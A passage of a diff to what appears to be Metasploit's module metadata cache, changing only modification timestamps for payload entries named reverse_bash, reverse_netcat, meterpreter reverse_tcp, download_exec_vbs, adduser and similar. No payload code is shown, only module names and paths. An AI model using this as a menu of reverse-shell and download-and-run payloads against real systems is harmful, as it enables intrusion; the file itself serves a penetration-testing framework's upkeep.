|
||||
"ref_name": "cmd/unix/bind_ruby",
|
||||
@@ -171990,7 +172647,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_ruby_ipv6",
|
||||
@@ -172024,7 +172681,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_socat_udp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_socat_udp",
|
||||
@@ -172058,7 +172715,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_stub.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_stub",
|
||||
@@ -172093,7 +172750,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/bind_zsh.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/bind_zsh",
|
||||
@@ -172127,7 +172784,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/generic.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/generic",
|
||||
@@ -172195,7 +172852,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/pingback_bind.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/pingback_bind",
|
||||
@@ -172229,7 +172886,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/pingback_reverse.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/pingback_reverse",
|
||||
@@ -172263,7 +172920,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/meterpreter/bind_tcp",
|
||||
@@ -172298,7 +172955,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/meterpreter/bind_tcp_uuid",
|
||||
@@ -172332,7 +172989,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/meterpreter/reverse_http",
|
||||
@@ -172366,7 +173023,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/meterpreter/reverse_https",
|
||||
@@ -172400,7 +173057,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/meterpreter/reverse_tcp",
|
||||
@@ -172436,7 +173093,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/meterpreter/reverse_tcp_ssl",
|
||||
@@ -172471,7 +173128,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/meterpreter/reverse_tcp_uuid",
|
||||
@@ -172505,7 +173162,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/meterpreter_bind_tcp",
|
||||
@@ -172539,7 +173196,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/meterpreter_reverse_http",
|
||||
@@ -172573,7 +173230,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/meterpreter_reverse_https",
|
||||
@@ -172607,7 +173264,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/meterpreter_reverse_tcp",
|
||||
@@ -172642,7 +173299,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/pingback_bind_tcp",
|
||||
@@ -172677,7 +173334,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/pingback_reverse_tcp",
|
||||
@@ -172712,7 +173369,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/shell_bind_tcp",
|
||||
@@ -172747,7 +173404,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/shell_reverse_tcp",
|
||||
@@ -172782,7 +173439,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/shell_reverse_tcp_ssl",
|
||||
@@ -172817,7 +173474,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-02-24 09:04:51 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/unix/python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/python/shell_reverse_udp",
|
||||
@@ -172851,7 +173508,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse",
|
||||
@@ -172887,7 +173544,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-18 13:11:08 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_awk.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_awk",
|
||||
@@ -172921,7 +173578,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-11-12 10:46:16 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_bash.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_bash",
|
||||
@@ -172955,7 +173612,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_bash_telnet_ssl",
|
||||
@@ -172990,7 +173647,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-11-12 10:46:16 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_bash_udp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_bash_udp",
|
||||
@@ -173027,7 +173684,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_jjs.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_jjs",
|
||||
@@ -173061,7 +173718,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_ksh.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_ksh",
|
||||
@@ -173095,7 +173752,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_lua.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_lua",
|
||||
@@ -173129,7 +173786,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_ncat_ssl",
|
||||
@@ -173165,7 +173822,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_netcat.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_netcat",
|
||||
@@ -173199,7 +173856,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_netcat_gaping",
|
||||
@@ -173233,7 +173890,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_nodejs.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_nodejs",
|
||||
@@ -173267,7 +173924,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_openssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_openssl",
|
||||
@@ -173301,7 +173958,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_perl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_perl",
|
||||
@@ -173335,7 +173992,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_perl_ssl",
|
||||
@@ -173369,7 +174026,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_php_ssl",
|
||||
@@ -173403,7 +174060,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_python.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_python",
|
||||
@@ -173437,7 +174094,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-08 10:26:27 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_python_ssl",
|
||||
@@ -173471,7 +174128,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_r.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_r",
|
||||
@@ -173505,7 +174162,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_ruby.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_ruby",
|
||||
@@ -173539,7 +174196,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_ruby_ssl",
|
||||
@@ -173573,7 +174230,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_socat_udp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_socat_udp",
|
||||
@@ -173608,7 +174265,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-06-15 17:35:19 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_ssh.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_ssh",
|
||||
@@ -173643,7 +174300,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_ssl_double_telnet",
|
||||
@@ -173677,7 +174334,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_stub.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_stub",
|
||||
@@ -173711,7 +174368,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-08-27 17:15:33 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_tclsh.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_tclsh",
|
||||
@@ -173746,7 +174403,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/unix/reverse_zsh.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/unix/reverse_zsh",
|
||||
@@ -173782,7 +174439,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/adduser.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/adduser",
|
||||
@@ -173816,7 +174473,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/bind_lua.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/bind_lua",
|
||||
@@ -173852,7 +174509,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/bind_perl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/bind_perl",
|
||||
@@ -173888,7 +174545,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/bind_perl_ipv6",
|
||||
@@ -173922,7 +174579,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/bind_ruby.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/bind_ruby",
|
||||
@@ -173956,7 +174613,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/download_eval_vbs.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/download_eval_vbs",
|
||||
@@ -173990,7 +174647,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/download_exec_vbs.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/download_exec_vbs",
|
||||
@@ -174024,7 +174681,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/generic.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/generic",
|
||||
@@ -174061,7 +174718,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-06-15 13:25:25 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/jjs_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/jjs_reverse_tcp",
|
||||
@@ -185071,7 +185728,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell_bind_tcp",
|
||||
@@ -185106,7 +185763,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell_reverse_tcp",
|
||||
@@ -185141,7 +185798,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-01-23 15:28:32 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/powershell_reverse_tcp_ssl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell_reverse_tcp_ssl",
|
||||
@@ -185175,7 +185832,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/reverse_lua.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/reverse_lua",
|
||||
@@ -185210,7 +185867,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/reverse_perl.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/reverse_perl",
|
||||
@@ -185245,7 +185902,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/reverse_powershell.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/reverse_powershell",
|
||||
@@ -185279,7 +185936,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/cmd/windows/reverse_ruby.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/reverse_ruby",
|
||||
@@ -185313,7 +185970,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2017-09-17 16:00:04 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/firefox/exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "firefox/exec",
|
||||
@@ -185347,7 +186004,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/firefox/shell_bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "firefox/shell_bind_tcp",
|
||||
@@ -185381,7 +186038,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-05 14:59:46 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/firefox/shell_reverse_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "firefox/shell_reverse_tcp",
|
||||
@@ -185415,7 +186072,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-03-10 18:03:35 +0000",
|
||||
"mod_time": "2022-11-04 00:33:03 +0000",
|
||||
"path": "/modules/payloads/singles/generic/custom.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "generic/custom",
|
